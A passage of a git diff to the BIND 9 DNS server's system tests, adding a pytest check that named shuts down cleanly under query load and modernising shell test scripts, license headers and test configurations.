-
-            # Wait named to exit for a maximum of MAX_TIMEOUT seconds.
-            MAX_TIMEOUT = 10
-            is_dead = False
-            for _ in range(MAX_TIMEOUT):
-                if named_proc.poll() is not None:
-                    is_dead = True
-                    break
-                time.sleep(1)
-
-            if not is_dead:
-                named_proc.send_signal(signal.SIGABRT)
-                for _ in range(MAX_TIMEOUT):
-                    if named_proc.poll() is not None:
-                        is_dead = True
-                        break
-                    time.sleep(1)
-                if not is_dead:
-                    named_proc.kill()
-
-            assert is_dead
-            # Ensures that named exited gracefully.
-            # If it crashed (abort()) exitcode will be non zero.
-            assert named_proc.returncode == 0
diff --git a/bin/tests/system/shutdown/tests_shutdown.py b/bin/tests/system/shutdown/tests_shutdown.py
new file mode 100755
index 0000000000..5ca19ba160
--- /dev/null
+++ b/bin/tests/system/shutdown/tests_shutdown.py
@@ -0,0 +1,209 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from concurrent.futures import ThreadPoolExecutor, as_completed
+import os
+import random
+import signal
+import subprocess
+from string import ascii_lowercase as letters
+import time
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.exception
+import dns.resolver
+
+
+def do_work(named_proc, resolver, rndc_cmd, kill_method, n_workers, n_queries):
+    """Creates a number of A queries to run in parallel
+    in order simulate a slightly more realistic test scenario.
+
+    The main idea of this function is to create and send a bunch
+    of A queries to a target named instance and during this process
+    a request for shutting down named will be issued.
+
+    In the process of shutting down named, a couple control connections
+    are created (by launching rndc) to ensure that the crash was fixed.
+
+    if kill_method=="rndc" named will be asked to shutdown by
+    means of rndc stop.
+    if kill_method=="sigterm" named will be killed by SIGTERM on
+    POSIX systems.
+
+    :param named_proc: named process instance
+    :type named_proc: subprocess.Popen
+
+    :param resolver: target resolver
+    :type resolver: dns.resolver.Resolver
+
+    :param rndc_cmd: rndc command with default arguments
+    :type rndc_cmd: list of strings, e.g. ["rndc", "-p", "23750"]
+
+    :kill_method: "rndc" or "sigterm"
+    :type kill_method: str
+
+    :param n_workers: Number of worker threads to create
+    :type n_workers: int
+
+    :param n_queries: Total number of queries to send
+    :type n_queries: int
+    """
+    # pylint: disable-msg=too-many-arguments
+    # pylint: disable-msg=too-many-locals
+
+    # helper function, args must be a list or tuple with arguments to rndc.
+    def launch_rndc(args):
+        return subprocess.call(rndc_cmd + args, timeout=10)
+
+    # We're going to execute queries in parallel by means of a thread pool.
+    # dnspython functions block, so we need to circunvent that.
+    with ThreadPoolExecutor(n_workers + 1) as executor:
+        # Helper dict, where keys=Future objects and values are tags used
+        # to process results later.
+        futures = {}
+
+        # 50% of work will be A queries.
+        # 1 work will be rndc stop.
+        # Remaining work will be rndc status (so we test parallel control
+        #  connections that were crashing named).
+        shutdown = True
+        for i in range(n_queries):
+            if i < (n_queries // 2):
+                # Half work will be standard A queries.
+                # Among those we split 50% queries relname='www',
+                # 50% queries relname=random characters
+                if random.randrange(2) == 1:
+                    tag = "good"
+                    relname = "www"
+                else:
+                    tag = "bad"
+                    length = random.randint(4, 10)
+                    relname = "".join(
+                        letters[random.randrange(len(letters))] for i in range(length)
+                    )
+
+                qname = relname + ".test"
+                futures[executor.submit(resolver.resolve, qname, "A")] = tag
+            elif shutdown:  # We attempt to stop named in the middle
+                shutdown = False
+                if kill_method == "rndc":
+                    futures[executor.submit(launch_rndc, ["stop"])] = "stop"
+                else:
+                    futures[executor.submit(named_proc.terminate)] = "kill"
+            else:
+                # We attempt to send couple rndc commands while named is
+                # being shutdown
+                futures[executor.submit(launch_rndc, ["-t", "5", "status"])] = "status"
+
+        ret_code = -1
+        for future in as_completed(futures):
+            try:
+                result = future.result()
+                # If tag is "stop", result is an instance of
+                # subprocess.CompletedProcess, then we check returncode
+                # attribute to know if rncd stop command finished successfully.
+                #
+                # if tag is "kill" then the main function will check if
+                # named process exited gracefully after SIGTERM signal.
+                if futures[future] == "stop":
+                    ret_code = result
+
+            except (
+                dns.resolver.NXDOMAIN,
+                dns.resolver.NoNameservers,
+                dns.exception.Timeout,
+            ):
+                pass
+
+        if kill_method == "rndc":
+            assert ret_code == 0
+
+
+def wait_for_named_loaded(resolver, retries=10):
+    for _ in range(retries):
+        try:
+            resolver.resolve("version.bind", "TXT", "CH")
+            return True
+        except (dns.resolver.NoNameservers, dns.exception.Timeout):
+            time.sleep(1)
+    return False
+
+
+def wait_for_proc_termination(proc, max_timeout=10):
+    for _ in range(max_timeout):
+        if proc.poll() is not None:
+            return True
+        time.sleep(1)
+
+    proc.send_signal(signal.SIGABRT)
+    for _ in range(max_timeout):
+        if proc.poll() is not None:
+            return True
+        time.sleep(1)
+
+    return False
+
+
+# We test named shutting down using two methods:
+# Method 1: using rndc ctop
+# Method 2: killing with SIGTERM
+# In both methods named should exit gracefully.
+@pytest.mark.parametrize(
+    "kill_method",
+    [pytest.param("rndc", marks=pytest.mark.xfail(reason="GL#4060")), "sigterm"],
+)
+def test_named_shutdown(named_port, control_port, kill_method):
+    # pylint: disable-msg=too-many-locals
+    cfg_dir = os.path.join(os.getcwd(), "resolver")
+    assert os.path.isdir(cfg_dir)
+
+    cfg_file = os.path.join(cfg_dir, "named.conf")
+    assert os.path.isfile(cfg_file)
+
+    named = os.getenv("NAMED")
+    assert named is not None
+
+    rndc = os.getenv("RNDC")
+    assert rndc is not None
+
+    # rndc configuration resides in ../common/rndc.conf
+    rndc_cfg = os.path.join("..", "common", "rndc.conf")
+    assert os.path.isfile(rndc_cfg)
+
+    # rndc command with default arguments.
+    rndc_cmd = [rndc, "-c", rndc_cfg, "-p", str(control_port), "-s", "10.53.0.3"]
+
+    # We create a resolver instance that will be used to send queries.
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = ["10.53.0.3"]
+    resolver.port = named_port
+
+    named_cmdline = [named, "-c", cfg_file, "-f"]
+    with subprocess.Popen(named_cmdline, cwd=cfg_dir) as named_proc:
+        try:
+            assert named_proc.poll() is None, "named isn't running"
+            assert wait_for_named_loaded(resolver)
+            do_work(
+                named_proc,
+                resolver,
+                rndc_cmd,
+                kill_method,
+                n_workers=12,
+                n_queries=16,
+            )
+            assert wait_for_proc_termination(named_proc)
+            assert named_proc.returncode == 0, "named crashed"
+        finally:  # Ensure named is terminated in case of an exception
+            named_proc.kill()
diff --git a/bin/tests/system/smartsign/child.db b/bin/tests/system/smartsign/child.db
index 11af1a53d8..878df45f4d 100644
--- a/bin/tests/system/smartsign/child.db
+++ b/bin/tests/system/smartsign/child.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/smartsign/clean.sh b/bin/tests/system/smartsign/clean.sh
index c9cc6dfd3d..ad975afae1 100644
--- a/bin/tests/system/smartsign/clean.sh
+++ b/bin/tests/system/smartsign/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/smartsign/parent.db b/bin/tests/system/smartsign/parent.db
index 6c6567f75c..a5484e3b66 100644
--- a/bin/tests/system/smartsign/parent.db
+++ b/bin/tests/system/smartsign/parent.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/smartsign/tests.sh b/bin/tests/system/smartsign/tests.sh
index 84a5d98b50..1da21bf887 100644
--- a/bin/tests/system/smartsign/tests.sh
+++ b/bin/tests/system/smartsign/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -21,55 +25,55 @@ cfile=child.db
 
 echo_i "generating child's keys"
 # active zsk
-czsk1=`$KEYGEN -q -a rsasha1 -L 30 $czone`
+czsk1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -L 30 $czone)
 
 # not yet published or active
-czsk2=`$KEYGEN -q -a rsasha1 -P none -A none $czone`
+czsk2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -P none -A none $czone)
 
 # published but not active
-czsk3=`$KEYGEN -q -a rsasha1 -A none $czone`
+czsk3=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -A none $czone)
 
 # inactive
-czsk4=`$KEYGEN -q -a rsasha1 -P now-24h -A now-24h -I now $czone`
+czsk4=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -P now-24h -A now-24h -I now $czone)
 
 # active in 12 hours, inactive 12 hours after that...
-czsk5=`$KEYGEN -q -a rsasha1 -P now+12h -A now+12h -I now+24h $czone`
+czsk5=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -P now+12h -A now+12h -I now+24h $czone)
 
 # explicit successor to czk5
 # (suppressing warning about lack of removal date)
-czsk6=`$KEYGEN -q -S $czsk5 -i 6h 2>/dev/null` 
+czsk6=$($KEYGEN -q -S $czsk5 -i 6h 2>/dev/null)
 
 # active ksk
-cksk1=`$KEYGEN -q -a rsasha1 -fk -L 30 $czone`
+cksk1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk -L 30 $czone)
 
 # published but not YET active; will be active in 20 seconds
-cksk2=`$KEYGEN -q -a rsasha1 -fk $czone`
+cksk2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $czone)
 # $SETTIME moved after other $KEYGENs
 
 echo_i "revoking key"
 # revoking key changes its ID
-cksk3=`$KEYGEN -q -a rsasha1 -fk $czone`
-cksk4=`$REVOKE $cksk3`
+cksk3=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $czone)
+cksk4=$($REVOKE $cksk3)
 
 echo_i "setting up sync key"
-cksk5=`$KEYGEN -q -a rsasha1 -fk -P now+1mo -A now+1mo -Psync now $czone`
+cksk5=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk -P now+1mo -A now+1mo -Psync now $czone)
 
 echo_i "and future sync key"
-cksk6=`$KEYGEN -q -a rsasha1 -fk -P now+1mo -A now+1mo -Psync now+1mo $czone`
+cksk6=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk -P now+1mo -A now+1mo -Psync now+1mo $czone)
 
 echo_i "generating parent keys"
-pzsk=`$KEYGEN -q -a rsasha1 $pzone`
-pksk=`$KEYGEN -q -a rsasha1 -fk $pzone`
+pzsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $pzone)
+pksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $pzone)
 
 echo_i "setting child's activation time"
 # using now+30s to fix RT 24561
 $SETTIME -A now+30s $cksk2 > /dev/null
 
 echo_i "signing child zone"
-czoneout=`$SIGNER -Sg -e now+1d -X now+2d -o $czone $cfile`
+czoneout=$($SIGNER -Sg -e now+1d -X now+2d -o $czone $cfile)
 
 echo_i "signing parent zone"
-pzoneout=`$SIGNER -Sg -o $pzone $pfile`
+pzoneout=$($SIGNER -Sg -o $pzone $pfile)
 
 czactive=$(keyfile_to_key_id $czsk1)
 czgenerated=$(keyfile_to_key_id $czsk2)
@@ -96,13 +100,13 @@ if [ $ret != 0 ]; then
 	echo_i "child $czoneout"
 	echo_i "failed";
 fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "rechecking dnssec-signzone output with -x"
 ret=0
 # use an alternate output file so -x doesn't interfere with later checks
-pzoneout=`$SIGNER -Sxg -o $pzone -f ${pfile}2.signed $pfile`
-czoneout=`$SIGNER -Sxg -e now+1d -X now+2d -o $czone -f ${cfile}2.signed $cfile`
+pzoneout=$($SIGNER -Sxg -o $pzone -f ${pfile}2.signed $pfile)
+czoneout=$($SIGNER -Sxg -e now+1d -X now+2d -o $czone -f ${cfile}2.signed $cfile)
 echo "$pzoneout" | grep 'KSKs: 1 active, 0 stand-by, 0 revoked' > /dev/null || ret=1
 echo "$pzoneout" | grep 'ZSKs: 1 active, 0 present, 0 revoked' > /dev/null || ret=1
 echo "$czoneout" | grep 'KSKs: 1 active, 1 stand-by, 1 revoked' > /dev/null || ret=1
@@ -112,7 +116,7 @@ if [ $ret != 0 ]; then
 	echo_i "child $czoneout"
 	echo_i "failed";
 fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking parent zone DNSKEY set"
 ret=0
@@ -125,7 +129,7 @@ grep "key id = $pkid" $pfile.signed > /dev/null || {
 	echo_i "missing expected parent KSK id = $pkid"
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking parent zone DS records"
 ret=0
@@ -136,7 +140,7 @@ grep -w "$ckpublished" dsset.out > /dev/null || ret=1
 grep -w "$ckprerevoke" dsset.out > /dev/null && ret=1
 grep -w "$ckrevoked" dsset.out > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking child zone DNSKEY set"
 ret=0
@@ -182,7 +186,7 @@ grep "key id = $czsuccessor\$" $cfile.signed > /dev/null && {
 #grep "key id = $czpredecessor\$" $cfile.signed > /dev/null && ret=1
 #grep "key id = $czsuccessor\$" $cfile.signed > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking key TTLs are correct"
 ret=0
@@ -194,23 +198,23 @@ grep "${czone}. 45 IN" ${czsk2}.key > /dev/null 2>&1 || ret=1
 $SETTIME -L 0 ${czsk2} > /dev/null
 grep "${czone}. IN" ${czsk2}.key > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking key TTLs were imported correctly"
 ret=0
 awk 'BEGIN {r = 0} $2 == "DNSKEY" && $1 != 30 {r = 1} END {exit r}' \
         ${cfile}.signed || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "re-signing and checking imported TTLs again"
 ret=0
 $SETTIME -L 15 ${czsk2} > /dev/null
-czoneout=`$SIGNER -Sg -e now+1d -X now+2d -o $czone $cfile`
+czoneout=$($SIGNER -Sg -e now+1d -X now+2d -o $czone $cfile)
 awk 'BEGIN {r = 0} $2 == "DNSKEY" && $1 != 15 {r = 1} END {exit r}' \
         ${cfile}.signed || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # There is some weirdness in Solaris 10 (Generic_120011-14), which
 # is why the next section has all those echo $ret > /dev/null;sync
@@ -311,44 +315,44 @@ if [ $ret != 0 ]; then
     sed 's/^/I:other sigs: /' < other.sigs
     echo_i "failed";
 fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RRSIG expiry date correctness"
-dnskey_expiry=`$CHECKZONE -o - $czone $cfile.signed 2> /dev/null |
+dnskey_expiry=$($CHECKZONE -o - $czone $cfile.signed 2> /dev/null |
               awk '$4 == "RRSIG" && $5 == "DNSKEY" {print $9; exit}' |
-              cut -c1-10`
-soa_expiry=`$CHECKZONE -o - $czone $cfile.signed 2> /dev/null |
+              cut -c1-10)
+soa_expiry=$($CHECKZONE -o - $czone $cfile.signed 2> /dev/null |
            awk '$4 == "RRSIG" && $5 == "SOA" {print $9; exit}' |
-           cut -c1-10`
+           cut -c1-10)
 [ $dnskey_expiry -gt $soa_expiry ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "waiting 30 seconds for key activation"
 sleep 30
 echo_i "re-signing child zone"
-czoneout2=`$SIGNER -Sg -o $czone -f $cfile.new $cfile.signed`
+czoneout2=$($SIGNER -Sg -o $czone -f $cfile.new $cfile.signed)
 mv $cfile.new $cfile.signed
 
 echo_i "checking dnssec-signzone output matches expectations"
 ret=0
 echo "$czoneout2" | grep 'KSKs: 2 active, 0 stand-by, 1 revoked' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking child zone signatures again"
 ret=0
 awk '$2 == "RRSIG" && $3 == "DNSKEY" { getline; print $3 }' $cfile.signed > dnskey.sigs
 grep -w "$ckpublished" dnskey.sigs > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking sync record publication"
 ret=0
 awk 'BEGIN { r=1 } $2 == "CDNSKEY" { r=0 } END { exit r }' $cfile.signed || ret=1
 awk 'BEGIN { r=1 } $2 == "CDS" { r=0 } END { exit r }' $cfile.signed || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # this also checks that the future sync record is not yet published
 echo_i "checking sync record deletion"
@@ -359,7 +363,7 @@ mv $cfile.new $cfile.signed
 awk 'BEGIN { r=1 } $2 == "CDNSKEY" { r=0 } END { exit r }' $cfile.signed && ret=1
 awk 'BEGIN { r=1 } $2 == "CDS" { r=0 } END { exit r }' $cfile.signed && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/smartsign/tests_sh_smartsign.py b/bin/tests/system/smartsign/tests_sh_smartsign.py
new file mode 100644
index 0000000000..e291b64eec
--- /dev/null
+++ b/bin/tests/system/smartsign/tests_sh_smartsign.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_smartsign(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/sortlist/clean.sh b/bin/tests/system/sortlist/clean.sh
index da0f42375c..b490f46907 100644
--- a/bin/tests/system/sortlist/clean.sh
+++ b/bin/tests/system/sortlist/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sortlist/ns1/example.db b/bin/tests/system/sortlist/ns1/example.db
index 94ebc73952..b68e2159e6 100644
--- a/bin/tests/system/sortlist/ns1/example.db
+++ b/bin/tests/system/sortlist/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/sortlist/ns1/named.conf.in b/bin/tests/system/sortlist/ns1/named.conf.in
index a3df0e35ac..1a0b3ad91f 100644
--- a/bin/tests/system/sortlist/ns1/named.conf.in
+++ b/bin/tests/system/sortlist/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 
 	sortlist {
diff --git a/bin/tests/system/sortlist/ns1/root.db b/bin/tests/system/sortlist/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/sortlist/ns1/root.db
+++ b/bin/tests/system/sortlist/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/sortlist/setup.sh b/bin/tests/system/sortlist/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/sortlist/setup.sh
+++ b/bin/tests/system/sortlist/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sortlist/tests.sh b/bin/tests/system/sortlist/tests.sh
index 257248c0d8..894b022a5b 100644
--- a/bin/tests/system/sortlist/tests.sh
+++ b/bin/tests/system/sortlist/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +noauth +nocomm +nocmd -p ${PORT}"
@@ -28,7 +32,7 @@ EOF
 $DIG $DIGOPTS a.example. @10.53.0.1 -b 10.53.0.1 >test1.dig
 # Note that this can't use digcomp.pl because here, the ordering of the
 # result RRs is significant.
-$DIFF test1.dig test1.good || status=1
+diff test1.dig test1.good || status=1
 
 echo_i "test 1-element sortlist statement and undocumented BIND 8 features"
 	cat <<EOF >test2.good
@@ -36,13 +40,13 @@ b.example.		300	IN	A	10.53.0.$n
 EOF
 
 $DIG $DIGOPTS b.example. @10.53.0.1 -b 10.53.0.2 | sed 1q | \
-        egrep '10.53.0.(2|3)$' > test2.out &&
+        grep -E '10.53.0.(2|3)$' > test2.out &&
 $DIG $DIGOPTS b.example. @10.53.0.1 -b 10.53.0.3 | sed 1q | \
-        egrep '10.53.0.(2|3)$' >> test2.out &&
+        grep -E '10.53.0.(2|3)$' >> test2.out &&
 $DIG $DIGOPTS b.example. @10.53.0.1 -b 10.53.0.4 | sed 1q | \
-        egrep '10.53.0.4$' >> test2.out &&
+        grep -E '10.53.0.4$' >> test2.out &&
 $DIG $DIGOPTS b.example. @10.53.0.1 -b 10.53.0.5 | sed 1q | \
-        egrep '10.53.0.5$' >> test2.out || status=1
+        grep -E '10.53.0.5$' >> test2.out || status=1
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/sortlist/tests_sh_sortlist.py b/bin/tests/system/sortlist/tests_sh_sortlist.py
new file mode 100644
index 0000000000..5a66d7dde9
--- /dev/null
+++ b/bin/tests/system/sortlist/tests_sh_sortlist.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_sortlist(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/spf/clean.sh b/bin/tests/system/spf/clean.sh
index 5d245c2e19..90dc7b61a9 100644
--- a/bin/tests/system/spf/clean.sh
+++ b/bin/tests/system/spf/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/spf/ns1/named.conf.in b/bin/tests/system/spf/ns1/named.conf.in
index d376ab00f8..d25251a7a9 100644
--- a/bin/tests/system/spf/ns1/named.conf.in
+++ b/bin/tests/system/spf/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	ixfr-from-differences yes;
 };
diff --git a/bin/tests/system/spf/ns1/spf.db b/bin/tests/system/spf/ns1/spf.db
index 6c0e7e5512..9527b1bd1c 100644
--- a/bin/tests/system/spf/ns1/spf.db
+++ b/bin/tests/system/spf/ns1/spf.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/spf/setup.sh b/bin/tests/system/spf/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/spf/setup.sh
+++ b/bin/tests/system/spf/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/spf/tests.sh b/bin/tests/system/spf/tests.sh
index 83797aca58..07e6c1980d 100644
--- a/bin/tests/system/spf/tests.sh
